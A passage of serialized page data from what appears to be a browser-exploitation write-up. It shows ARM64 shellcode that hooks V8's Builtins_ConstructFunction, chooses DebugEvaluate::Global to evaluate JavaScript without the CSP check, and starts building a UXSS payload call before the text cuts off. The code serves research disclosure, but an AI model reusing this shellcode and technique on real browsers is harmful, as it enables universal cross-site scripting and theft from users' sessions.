context\n",{"type":19,"tag":168,"props":137628,"children":137629},{"class":170,"line":450},[137630],{"type":19,"tag":168,"props":137631,"children":137632},{},[137633],{"type":24,"value":137634},"stp x0, x1, [sp, #-16]!\n",{"type":19,"tag":168,"props":137636,"children":137637},{"class":170,"line":560},[137638],{"type":19,"tag":168,"props":137639,"children":137640},{},[137641],{"type":24,"value":137642},"stp x2, x3, [sp, #-16]!\n",{"type":19,"tag":168,"props":137644,"children":137645},{"class":170,"line":666},[137646],{"type":19,"tag":168,"props":137647,"children":137648},{},[137649],{"type":24,"value":137650},"stp x4, x5, [sp, #-16]!\n",{"type":19,"tag":168,"props":137652,"children":137653},{"class":170,"line":694},[137654],{"type":19,"tag":168,"props":137655,"children":137656},{},[137657],{"type":24,"value":137658},"stp x6, x7, [sp, #-16]!\n",{"type":19,"tag":168,"props":137660,"children":137661},{"class":170,"line":707},[137662],{"type":19,"tag":168,"props":137663,"children":137664},{},[137665],{"type":24,"value":137666},"stp x8, x9, [sp, #-16]!\n",{"type":19,"tag":168,"props":137668,"children":137669},{"class":170,"line":725},[137670],{"type":19,"tag":168,"props":137671,"children":137672},{},[137673],{"type":24,"value":137674},"stp x10, x11, [sp, #-16]!\n",{"type":19,"tag":168,"props":137676,"children":137677},{"class":170,"line":746},[137678],{"type":19,"tag":168,"props":137679,"children":137680},{},[137681],{"type":24,"value":137682},"stp x12, x13, [sp, #-16]!\n",{"type":19,"tag":168,"props":137684,"children":137685},{"class":170,"line":755},[137686],{"type":19,"tag":168,"props":137687,"children":137688},{},[137689],{"type":24,"value":137690},"stp x14, x15, [sp, #-16]!\n",{"type":19,"tag":168,"props":137692,"children":137693},{"class":170,"line":1008},[137694],{"type":19,"tag":168,"props":137695,"children":137696},{},[137697],{"type":24,"value":137698},"stp x16, x17, [sp, #-16]!\n",{"type":19,"tag":168,"props":137700,"children":137701},{"class":170,"line":1025},[137702],{"type":19,"tag":168,"props":137703,"children":137704},{},[137705],{"type":24,"value":137706},"stp x18, x19, [sp, #-16]!\n",{"type":19,"tag":168,"props":137708,"children":137709},{"class":170,"line":1042},[137710],{"type":19,"tag":168,"props":137711,"children":137712},{},[137713],{"type":24,"value":137714},"stp x20, x21, [sp, #-16]!\n",{"type":19,"tag":168,"props":137716,"children":137717},{"class":170,"line":1055},[137718],{"type":19,"tag":168,"props":137719,"children":137720},{},[137721],{"type":24,"value":137722},"stp x22, x23, [sp, #-16]!\n",{"type":19,"tag":168,"props":137724,"children":137725},{"class":170,"line":1064},[137726],{"type":19,"tag":168,"props":137727,"children":137728},{},[137729],{"type":24,"value":137730},"stp x24, x25, [sp, #-16]!\n",{"type":19,"tag":168,"props":137732,"children":137733},{"class":170,"line":1087},[137734],{"type":19,"tag":168,"props":137735,"children":137736},{},[137737],{"type":24,"value":137738},"stp x26, x27, [sp, #-16]!\n",{"type":19,"tag":168,"props":137740,"children":137741},{"class":170,"line":1096},[137742],{"type":19,"tag":168,"props":137743,"children":137744},{},[137745],{"type":24,"value":137746},"stp x28, x29, [sp, #-16]!\n",{"type":19,"tag":168,"props":137748,"children":137749},{"class":170,"line":1105},[137750],{"type":19,"tag":168,"props":137751,"children":137752},{},[137753],{"type":24,"value":137754},"str lr, [sp, #-16]!\n",{"type":19,"tag":20,"props":137756,"children":137757},{},[137758],{"type":24,"value":137759},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":19,"tag":20,"props":137761,"children":137762},{},[137763,137765,137770],{"type":24,"value":137764},"The epilogue restores all saved registers, restores the original instructions in ",{"type":19,"tag":27,"props":137766,"children":137768},{"className":137767},[],[137769],{"type":24,"value":136955},{"type":24,"value":137771},", and then returns execution to its beginning:",{"type":19,"tag":158,"props":137773,"children":137775},{"code":137774,"language":137008,"meta":7,"className":137009,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[137776],{"type":19,"tag":27,"props":137777,"children":137778},{"__ignoreMap":7},[137779,137787,137795,137803,137811,137819,137826,137833,137841,137848,137855,137863,137871,137879,137887,137895,137903,137911,137919,137927,137935,137943,137951,137959,137967,137975,137983,137990,137998,138006,138014,138022,138030,138037,138045,138053,138060],{"type":19,"tag":168,"props":137780,"children":137781},{"class":170,"line":171},[137782],{"type":19,"tag":168,"props":137783,"children":137784},{},[137785],{"type":24,"value":137786},"// restore original instructions of Builtins_ConstructFunction\n",{"type":19,"tag":168,"props":137788,"children":137789},{"class":170,"line":198},[137790],{"type":19,"tag":168,"props":137791,"children":137792},{},[137793],{"type":24,"value":137794},"ldr lr, [sp], #16\n",{"type":19,"tag":168,"props":137796,"children":137797},{"class":170,"line":415},[137798],{"type":19,"tag":168,"props":137799,"children":137800},{},[137801],{"type":24,"value":137802},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":19,"tag":168,"props":137804,"children":137805},{"class":170,"line":450},[137806],{"type":19,"tag":168,"props":137807,"children":137808},{},[137809],{"type":24,"value":137810},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":19,"tag":168,"props":137812,"children":137813},{"class":170,"line":560},[137814],{"type":19,"tag":168,"props":137815,"children":137816},{},[137817],{"type":24,"value":137818},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":19,"tag":168,"props":137820,"children":137821},{"class":170,"line":666},[137822],{"type":19,"tag":168,"props":137823,"children":137824},{"emptyLinePlaceholder":14},[137825],{"type":24,"value":1093},{"type":19,"tag":168,"props":137827,"children":137828},{"class":170,"line":694},[137829],{"type":19,"tag":168,"props":137830,"children":137831},{},[137832],{"type":24,"value":137361},{"type":19,"tag":168,"props":137834,"children":137835},{"class":170,"line":707},[137836],{"type":19,"tag":168,"props":137837,"children":137838},{},[137839],{"type":24,"value":137840},"mov x0, lr\n",{"type":19,"tag":168,"props":137842,"children":137843},{"class":170,"line":725},[137844],{"type":19,"tag":168,"props":137845,"children":137846},{},[137847],{"type":24,"value":137377},{"type":19,"tag":168,"props":137849,"children":137850},{"class":170,"line":746},[137851],{"type":19,"tag":168,"props":137852,"children":137853},{"emptyLinePlaceholder":14},[137854],{"type":24,"value":1093},{"type":19,"tag":168,"props":137856,"children":137857},{"class":170,"line":755},[137858],{"type":19,"tag":168,"props":137859,"children":137860},{},[137861],{"type":24,"value":137862},"// restore original registers\n",{"type":19,"tag":168,"props":137864,"children":137865},{"class":170,"line":1008},[137866],{"type":19,"tag":168,"props":137867,"children":137868},{},[137869],{"type":24,"value":137870},"ldp x28, x29, [sp], #16\n",{"type":19,"tag":168,"props":137872,"children":137873},{"class":170,"line":1025},[137874],{"type":19,"tag":168,"props":137875,"children":137876},{},[137877],{"type":24,"value":137878},"ldp x26, x27, [sp], #16\n",{"type":19,"tag":168,"props":137880,"children":137881},{"class":170,"line":1042},[137882],{"type":19,"tag":168,"props":137883,"children":137884},{},[137885],{"type":24,"value":137886},"ldp x24, x25, [sp], #16\n",{"type":19,"tag":168,"props":137888,"children":137889},{"class":170,"line":1055},[137890],{"type":19,"tag":168,"props":137891,"children":137892},{},[137893],{"type":24,"value":137894},"ldp x22, x23, [sp], #16\n",{"type":19,"tag":168,"props":137896,"children":137897},{"class":170,"line":1064},[137898],{"type":19,"tag":168,"props":137899,"children":137900},{},[137901],{"type":24,"value":137902},"ldp x20, x21, [sp], #16\n",{"type":19,"tag":168,"props":137904,"children":137905},{"class":170,"line":1087},[137906],{"type":19,"tag":168,"props":137907,"children":137908},{},[137909],{"type":24,"value":137910},"ldp x18, x19, [sp], #16\n",{"type":19,"tag":168,"props":137912,"children":137913},{"class":170,"line":1096},[137914],{"type":19,"tag":168,"props":137915,"children":137916},{},[137917],{"type":24,"value":137918},"ldp x16, x17, [sp], #16\n",{"type":19,"tag":168,"props":137920,"children":137921},{"class":170,"line":1105},[137922],{"type":19,"tag":168,"props":137923,"children":137924},{},[137925],{"type":24,"value":137926},"ldp x14, x15, [sp], #16\n",{"type":19,"tag":168,"props":137928,"children":137929},{"class":170,"line":1174},[137930],{"type":19,"tag":168,"props":137931,"children":137932},{},[137933],{"type":24,"value":137934},"ldp x12, x13, [sp], #16\n",{"type":19,"tag":168,"props":137936,"children":137937},{"class":170,"line":1182},[137938],{"type":19,"tag":168,"props":137939,"children":137940},{},[137941],{"type":24,"value":137942},"ldp x10, x11, [sp], #16\n",{"type":19,"tag":168,"props":137944,"children":137945},{"class":170,"line":1212},[137946],{"type":19,"tag":168,"props":137947,"children":137948},{},[137949],{"type":24,"value":137950},"ldp x8, x9, [sp], #16\n",{"type":19,"tag":168,"props":137952,"children":137953},{"class":170,"line":1220},[137954],{"type":19,"tag":168,"props":137955,"children":137956},{},[137957],{"type":24,"value":137958},"ldp x6, x7, [sp], #16\n",{"type":19,"tag":168,"props":137960,"children":137961},{"class":170,"line":1252},[137962],{"type":19,"tag":168,"props":137963,"children":137964},{},[137965],{"type":24,"value":137966},"ldp x4, x5, [sp], #16\n",{"type":19,"tag":168,"props":137968,"children":137969},{"class":170,"line":1260},[137970],{"type":19,"tag":168,"props":137971,"children":137972},{},[137973],{"type":24,"value":137974},"ldp x2, x3, [sp], #16\n",{"type":19,"tag":168,"props":137976,"children":137977},{"class":170,"line":1320},[137978],{"type":19,"tag":168,"props":137979,"children":137980},{},[137981],{"type":24,"value":137982},"ldp x0, x1, [sp], #16\n",{"type":19,"tag":168,"props":137984,"children":137985},{"class":170,"line":6486},[137986],{"type":19,"tag":168,"props":137987,"children":137988},{"emptyLinePlaceholder":14},[137989],{"type":24,"value":1093},{"type":19,"tag":168,"props":137991,"children":137992},{"class":170,"line":6504},[137993],{"type":19,"tag":168,"props":137994,"children":137995},{},[137996],{"type":24,"value":137997},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":19,"tag":168,"props":137999,"children":138000},{"class":170,"line":6549},[138001],{"type":19,"tag":168,"props":138002,"children":138003},{},[138004],{"type":24,"value":138005},"// it immediately, so we can clobber and use it as a return register.\n",{"type":19,"tag":168,"props":138007,"children":138008},{"class":170,"line":6655},[138009],{"type":19,"tag":168,"props":138010,"children":138011},{},[138012],{"type":24,"value":138013},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":19,"tag":168,"props":138015,"children":138016},{"class":170,"line":20965},[138017],{"type":19,"tag":168,"props":138018,"children":138019},{},[138020],{"type":24,"value":138021},"// where to return\n",{"type":19,"tag":168,"props":138023,"children":138024},{"class":170,"line":21000},[138025],{"type":19,"tag":168,"props":138026,"children":138027},{},[138028],{"type":24,"value":138029},"mov x4, lr\n",{"type":19,"tag":168,"props":138031,"children":138032},{"class":170,"line":21008},[138033],{"type":19,"tag":168,"props":138034,"children":138035},{"emptyLinePlaceholder":14},[138036],{"type":24,"value":1093},{"type":19,"tag":168,"props":138038,"children":138039},{"class":170,"line":21016},[138040],{"type":19,"tag":168,"props":138041,"children":138042},{},[138043],{"type":24,"value":138044},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":19,"tag":168,"props":138046,"children":138047},{"class":170,"line":21025},[138048],{"type":19,"tag":168,"props":138049,"children":138050},{},[138051],{"type":24,"value":138052},"ldp x15, lr, [sp], #16\n",{"type":19,"tag":168,"props":138054,"children":138055},{"class":170,"line":21067},[138056],{"type":19,"tag":168,"props":138057,"children":138058},{"emptyLinePlaceholder":14},[138059],{"type":24,"value":1093},{"type":19,"tag":168,"props":138061,"children":138062},{"class":170,"line":21100},[138063],{"type":19,"tag":168,"props":138064,"children":138065},{},[138066],{"type":24,"value":138067},"ret x4\n",{"type":19,"tag":20,"props":138069,"children":138070},{},[138071,138073,138078,138080,138085,138087,138093],{"type":24,"value":138072},"At this point, we have successfully hooked ",{"type":19,"tag":27,"props":138074,"children":138076},{"className":138075},[],[138077],{"type":24,"value":136955},{"type":24,"value":138079}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":19,"tag":27,"props":138081,"children":138083},{"className":138082},[],[138084],{"type":24,"value":137471},{"type":24,"value":138086}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":19,"tag":27,"props":138088,"children":138090},{"className":138089},[],[138091],{"type":24,"value":138092},"Builtins_GlobalEval",{"type":24,"value":948},{"type":19,"tag":20,"props":138095,"children":138096},{},[138097,138102,138104,138109,138111,138116],{"type":19,"tag":27,"props":138098,"children":138100},{"className":138099},[],[138101],{"type":24,"value":138092},{"type":24,"value":138103}," takes a single ",{"type":19,"tag":27,"props":138105,"children":138107},{"className":138106},[],[138108],{"type":24,"value":45408},{"type":24,"value":138110}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":19,"tag":27,"props":138112,"children":138114},{"className":138113},[],[138115],{"type":24,"value":35023},{"type":24,"value":1922},{"type":19,"tag":158,"props":138118,"children":138120},{"code":138119,"language":26582,"meta":7,"className":26580,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[138121],{"type":19,"tag":27,"props":138122,"children":138123},{"__ignoreMap":7},[138124,138137,138144,138151,138194,138216,138242],{"type":19,"tag":168,"props":138125,"children":138126},{"class":170,"line":171},[138127,138132],{"type":19,"tag":168,"props":138128,"children":138129},{"style":175},[138130],{"type":24,"value":138131},"BUILTIN",{"type":19,"tag":168,"props":138133,"children":138134},{"style":212},[138135],{"type":24,"value":138136},"(GlobalEval) {\n",{"type":19,"tag":168,"props":138138,"children":138139},{"class":170,"line":198},[138140],{"type":19,"tag":168,"props":138141,"children":138142},{"style":212},[138143],{"type":24,"value":124640},{"type":19,"tag":168,"props":138145,"children":138146},{"class":170,"line":415},[138147],{"type":19,"tag":168,"props":138148,"children":138149},{"emptyLinePlaceholder":14},[138150],{"type":24,"value":1093},{"type":19,"tag":168,"props":138152,"children":138153},{"class":170,"line":450},[138154,138159,138164,138168,138173,138177,138181,138185,138190],{"type":19,"tag":168,"props":138155,"children":138156},{"style":212},[138157],{"type":24,"value":138158}," if (!Builtins::",{"type":19,"tag":168,"props":138160,"children":138161},{"style":825},[138162],{"type":24,"value":138163},"AllowDynamicFunction",{"type":19,"tag":168,"props":138165,"children":138166},{"style":212},[138167],{"type":24,"value":500},{"type":19,"tag":168,"props":138169,"children":138170},{"style":825},[138171],{"type":24,"value":138172},"isolate",{"type":19,"tag":168,"props":138174,"children":138175},{"style":212},[138176],{"type":24,"value":471},{"type":19,"tag":168,"props":138178,"children":138179},{"style":825},[138180],{"type":24,"value":112565},{"type":19,"tag":168,"props":138182,"children":138183},{"style":212},[138184],{"type":24,"value":471},{"type":19,"tag":168,"props":138186,"children":138187},{"style":825},[138188],{"type":24,"value":138189},"target_global_proxy",{"type":19,"tag":168,"props":138191,"children":138192},{"style":212},[138193],{"type":24,"value":32668},{"type":19,"tag":168,"props":138195,"children":138196},{"class":170,"line":560},[138197,138202,138206,138211],{"type":19,"tag":168,"props":138198,"children":138199},{"style":393},[138200],{"type":24,"value":138201}," isolate",{"type":19,"tag":168,"props":138203,"children":138204},{"style":212},[138205],{"type":24,"value":11203},{"type":19,"tag":168,"props":138207,"children":138208},{"style":175},[138209],{"type":24,"value":138210},"CountUsage",{"type":19,"tag":168,"props":138212,"children":138213},{"style":212},[138214],{"type":24,"value":138215},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":19,"tag":168,"props":138217,"children":138218},{"class":170,"line":666},[138219,138223,138228,138233,138238],{"type":19,"tag":168,"props":138220,"children":138221},{"style":419},[138222],{"type":24,"value":14438},{"type":19,"tag":168,"props":138224,"children":138225},{"style":175},[138226],{"type":24,"value":138227}," ReadOnlyRoots",{"type":19,"tag":168,"props":138229,"children":138230},{"style":212},[138231],{"type":24,"value":138232},"(isolate).",{"type":19,"tag":168,"props":138234,"children":138235},{"style":175},[138236],{"type":24,"value":138237},"undefined_value",{"type":19,"tag":168,"props":138239,"children":138240},{"style":212},[138241],{"type":24,"value":1084},{"type":19,"tag":168,"props":138243,"children":138244},{"class":170,"line":694},[138245],{"type":19,"tag":168,"props":138246,"children":138247},{"style":212},[138248],{"type":24,"value":3306},{"type":19,"tag":20,"props":138250,"children":138251},{},[138252,138254,138259],{"type":24,"value":138253},"This means we would need to patch the function further to ensure it never enters this ",{"type":19,"tag":27,"props":138255,"children":138257},{"className":138256},[],[138258],{"type":24,"value":13027},{"type":24,"value":138260}," block.",{"type":19,"tag":20,"props":138262,"children":138263},{},[138264],{"type":24,"value":138265},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":19,"tag":158,"props":138267,"children":138269},{"code":138268,"language":26582,"meta":7,"className":26580,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[138270],{"type":19,"tag":27,"props":138271,"children":138272},{"__ignoreMap":7},[138273,138284,138291,138298,138305,138313,138325,138333,138350,138380,138388,138400],{"type":19,"tag":168,"props":138274,"children":138275},{"class":170,"line":171},[138276,138280],{"type":19,"tag":168,"props":138277,"children":138278},{"style":175},[138279],{"type":24,"value":138131},{"type":19,"tag":168,"props":138281,"children":138282},{"style":212},[138283],{"type":24,"value":138136},{"type":19,"tag":168,"props":138285,"children":138286},{"class":170,"line":198},[138287],{"type":19,"tag":168,"props":138288,"children":138289},{"emptyLinePlaceholder":14},[138290],{"type":24,"value":1093},{"type":19,"tag":168,"props":138292,"children":138293},{"class":170,"line":415},[138294],{"type":19,"tag":168,"props":138295,"children":138296},{"style":212},[138297],{"type":24,"value":124640},{"type":19,"tag":168,"props":138299,"children":138300},{"class":170,"line":450},[138301],{"type":19,"tag":168,"props":138302,"children":138303},{"emptyLinePlaceholder":14},[138304],{"type":24,"value":1093},{"type":19,"tag":168,"props":138306,"children":138307},{"class":170,"line":560},[138308],{"type":19,"tag":168,"props":138309,"children":138310},{"style":212},[138311],{"type":24,"value":138312}," DirectHandle\u003CJSFunction> function;\n",{"type":19,"tag":168,"props":138314,"children":138315},{"class":170,"line":666},[138316,138321],{"type":19,"tag":168,"props":138317,"children":138318},{"style":175},[138319],{"type":24,"value":138320}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":19,"tag":168,"props":138322,"children":138323},{"style":212},[138324],{"type":24,"value":870},{"type":19,"tag":168,"props":138326,"children":138327},{"class":170,"line":694},[138328],{"type":19,"tag":168,"props":138329,"children":138330},{"style":212},[138331],{"type":24,"value":138332}," isolate, function,\n",{"type":19,"tag":168,"props":138334,"children":138335},{"class":170,"line":707},[138336,138341,138346],{"type":19,"tag":168,"props":138337,"children":138338},{"style":212},[138339],{"type":24,"value":138340}," Compiler::",{"type":19,"tag":168,"props":138342,"children":138343},{"style":175},[138344],{"type":24,"value":138345},"GetFunctionFromValidatedString",{"type":19,"tag":168,"props":138347,"children":138348},{"style":212},[138349],{"type":24,"value":870},{"type":19,"tag":168,"props":138351,"children":138352},{"class":170,"line":725},[138353,138358,138362,138366,138370,138375],{"type":19,"tag":168,"props":138354,"children":138355},{"style":175},[138356],{"type":24,"value":138357}," direct_handle",{"type":19,"tag":168,"props":138359,"children":138360},{"style":212},[138361],{"type":24,"value":500},{"type":19,"tag":168,"props":138363,"children":138364},{"style":393},[138365],{"type":24,"value":112565},{"type":19,"tag":168,"props":138367,"children":138368},{"style":212},[138369],{"type":24,"value":11203},{"type":19,"tag":168,"props":138371,"children":138372},{"style":175},[138373],{"type":24,"value":138374},"native_context",{"type":19,"tag":168,"props":138376,"children":138377},{"style":212},[138378],{"type":24,"value":138379},"(), isolate), source,\n",{"type":19,"tag":168,"props":138381,"children":138382},{"class":170,"line":746},[138383],{"type":19,"tag":168,"props":138384,"children":138385},{"style":212},[138386],{"type":24,"value":138387}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":19,"tag":168,"props":138389,"children":138390},{"class":170,"line":755},[138391,138396],{"type":19,"tag":168,"props":138392,"children":138393},{"style":175},[138394],{"type":24,"value":138395}," RETURN_RESULT_OR_FAILURE",{"type":19,"tag":168,"props":138397,"children":138398},{"style":212},[138399],{"type":24,"value":870},{"type":19,"tag":168,"props":138401,"children":138402},{"class":170,"line":1008},[138403,138408,138413],{"type":19,"tag":168,"props":138404,"children":138405},{"style":212},[138406],{"type":24,"value":138407}," isolate, Execution::",{"type":19,"tag":168,"props":138409,"children":138410},{"style":175},[138411],{"type":24,"value":138412},"Call",{"type":19,"tag":168,"props":138414,"children":138415},{"style":212},[138416],{"type":24,"value":138417},"(isolate, function, target_global_proxy, {}));\n",{"type":19,"tag":20,"props":138419,"children":138420},{},[138421,138423,138428,138430,138436,138438,138444,138446,138452],{"type":24,"value":138422},"But determining the correct ",{"type":19,"tag":27,"props":138424,"children":138426},{"className":138425},[],[138427],{"type":24,"value":112565},{"type":24,"value":138429}," value, obtaining ",{"type":19,"tag":27,"props":138431,"children":138433},{"className":138432},[],[138434],{"type":24,"value":138435},"target->native_context()",{"type":24,"value":138437},", and locating the ",{"type":19,"tag":27,"props":138439,"children":138441},{"className":138440},[],[138442],{"type":24,"value":138443},"direct_handle",{"type":24,"value":138445}," function, just to make a proper call to ",{"type":19,"tag":27,"props":138447,"children":138449},{"className":138448},[],[138450],{"type":24,"value":138451},"Compiler::GetFunctionFromValidatedString",{"type":24,"value":138453},", seemed unnecessarily cumbersome.",{"type":19,"tag":20,"props":138455,"children":138456},{},[138457,138459,138465],{"type":24,"value":138458},"Instead, we found a much simpler option with no security checks: ",{"type":19,"tag":27,"props":138460,"children":138462},{"className":138461},[],[138463],{"type":24,"value":138464},"DebugEvaluate::Global",{"type":24,"value":138466},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":19,"tag":20,"props":138468,"children":138469},{},[138470],{"type":24,"value":138471},"For our needs, it is straightforward to call:",{"type":19,"tag":158,"props":138473,"children":138475},{"code":138474,"language":26582,"meta":7,"className":26580,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[138476],{"type":19,"tag":27,"props":138477,"children":138478},{"__ignoreMap":7},[138479,138527,138556,138577],{"type":19,"tag":168,"props":138480,"children":138481},{"class":170,"line":171},[138482,138487,138491,138495,138500,138505,138509,138514,138518,138523],{"type":19,"tag":168,"props":138483,"children":138484},{"style":825},[138485],{"type":24,"value":138486},"MaybeDirectHandle",{"type":19,"tag":168,"props":138488,"children":138489},{"style":212},[138490],{"type":24,"value":3240},{"type":19,"tag":168,"props":138492,"children":138493},{"style":825},[138494],{"type":24,"value":46333},{"type":19,"tag":168,"props":138496,"children":138497},{"style":212},[138498],{"type":24,"value":138499},"> DebugEvaluate::",{"type":19,"tag":168,"props":138501,"children":138502},{"style":175},[138503],{"type":24,"value":138504},"Global",{"type":19,"tag":168,"props":138506,"children":138507},{"style":212},[138508],{"type":24,"value":500},{"type":19,"tag":168,"props":138510,"children":138511},{"style":825},[138512],{"type":24,"value":138513},"Isolate",{"type":19,"tag":168,"props":138515,"children":138516},{"style":382},[138517],{"type":24,"value":2002},{"type":19,"tag":168,"props":138519,"children":138520},{"style":393},[138521],{"type":24,"value":138522}," isolate",{"type":19,"tag":168,"props":138524,"children":138525},{"style":212},[138526],{"type":24,"value":915},{"type":19,"tag":168,"props":138528,"children":138529},{"class":170,"line":198},[138530,138535,138539,138543,138547,138552],{"type":19,"tag":168,"props":138531,"children":138532},{"style":825},[138533],{"type":24,"value":138534}," Handle",{"type":19,"tag":168,"props":138536,"children":138537},{"style":212},[138538],{"type":24,"value":3240},{"type":19,"tag":168,"props":138540,"children":138541},{"style":825},[138542],{"type":24,"value":45408},{"type":19,"tag":168,"props":138544,"children":138545},{"style":212},[138546],{"type":24,"value":3255},{"type":19,"tag":168,"props":138548,"children":138549},{"style":393},[138550],{"type":24,"value":138551},"source",{"type":19,"tag":168,"props":138553,"children":138554},{"style":212},[138555],{"type":24,"value":915},{"type":19,"tag":168,"props":138557,"children":138558},{"class":170,"line":415},[138559,138564,138569,138573],{"type":19,"tag":168,"props":138560,"children":138561},{"style":212},[138562],{"type":24,"value":138563}," debug::",{"type":19,"tag":168,"props":138565,"children":138566},{"style":825},[138567],{"type":24,"value":138568},"EvaluateGlobalMode",{"type":19,"tag":168,"props":138570,"children":138571},{"style":393},[138572],{"type":24,"value":103761},{"type":19,"tag":168,"props":138574,"children":138575},{"style":212},[138576],{"type":24,"value":915},{"type":19,"tag":168,"props":138578,"children":138579},{"class":170,"line":450},[138580,138585,138590],{"type":19,"tag":168,"props":138581,"children":138582},{"style":825},[138583],{"type":24,"value":138584}," REPLMode",{"type":19,"tag":168,"props":138586,"children":138587},{"style":393},[138588],{"type":24,"value":138589}," repl_mode",{"type":19,"tag":168,"props":138591,"children":138592},{"style":212},[138593],{"type":24,"value":1249},{"type":19,"tag":20,"props":138595,"children":138596},{},[138597,138599,138604,138606,138611,138613,138618,138620,138626,138627,138633],{"type":24,"value":138598},"We must supply the ",{"type":19,"tag":27,"props":138600,"children":138602},{"className":138601},[],[138603],{"type":24,"value":138172},{"type":24,"value":138605}," pointer, a ",{"type":19,"tag":27,"props":138607,"children":138609},{"className":138608},[],[138610],{"type":24,"value":45408},{"type":24,"value":138612}," object containing our XSS payload as ",{"type":19,"tag":27,"props":138614,"children":138616},{"className":138615},[],[138617],{"type":24,"value":138551},{"type":24,"value":138619},", and the ",{"type":19,"tag":27,"props":138621,"children":138623},{"className":138622},[],[138624],{"type":24,"value":138625},"mode",{"type":24,"value":8436},{"type":19,"tag":27,"props":138628,"children":138630},{"className":138629},[],[138631],{"type":24,"value":138632},"repl_mode",{"type":24,"value":138634}," values, which are simple enum literals.",{"type":19,"tag":20,"props":138636,"children":138637},{},[138638,138640,138645,138647,138653,138655,138660,138662,138667,138669,138675,138677,138683,138685,138690,138692,138697,138699,138704,138706,138711],{"type":24,"value":138639},"To obtain the ",{"type":19,"tag":27,"props":138641,"children":138643},{"className":138642},[],[138644],{"type":24,"value":138172},{"type":24,"value":138646}," pointer within our shellcode, we call ",{"type":19,"tag":27,"props":138648,"children":138650},{"className":138649},[],[138651],{"type":24,"value":138652},"Isolate::TryGetCurrent()",{"type":24,"value":138654},", which returns the current ",{"type":19,"tag":27,"props":138656,"children":138658},{"className":138657},[],[138659],{"type":24,"value":138172},{"type":24,"value":138661},". To construct a valid ",{"type":19,"tag":27,"props":138663,"children":138665},{"className":138664},[],[138666],{"type":24,"value":45408},{"type":24,"value":138668}," object holding our payload, we call ",{"type":19,"tag":27,"props":138670,"children":138672},{"className":138671},[],[138673],{"type":24,"value":138674},"v8::String::NewFromUTF8",{"type":24,"value":138676},". This ",{"type":19,"tag":27,"props":138678,"children":138680},{"className":138679},[],[138681],{"type":24,"value":138682},"NewFromUTF8",{"type":24,"value":138684}," function takes four arguments: the ",{"type":19,"tag":27,"props":138686,"children":138688},{"className":138687},[],[138689],{"type":24,"value":138172},{"type":24,"value":138691},", the string bytes as ",{"type":19,"tag":27,"props":138693,"children":138695},{"className":138694},[],[138696],{"type":24,"value":1120},{"type":24,"value":138698},", an enum literal specifying the string type, and ",{"type":19,"tag":27,"props":138700,"children":138702},{"className":138701},[],[138703],{"type":24,"value":5941},{"type":24,"value":138705},", which is the size of the ",{"type":19,"tag":27,"props":138707,"children":138709},{"className":138708},[],[138710],{"type":24,"value":1120},{"type":24,"value":14613},{"type":19,"tag":20,"props":138713,"children":138714},{},[138715],{"type":24,"value":138716},"The resulting shellcode that executes our XSS payload looks like this:",{"type":19,"tag":158,"props":138718,"children":138720},{"code":138719,"language":137008,"meta":7,"className":137009,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw 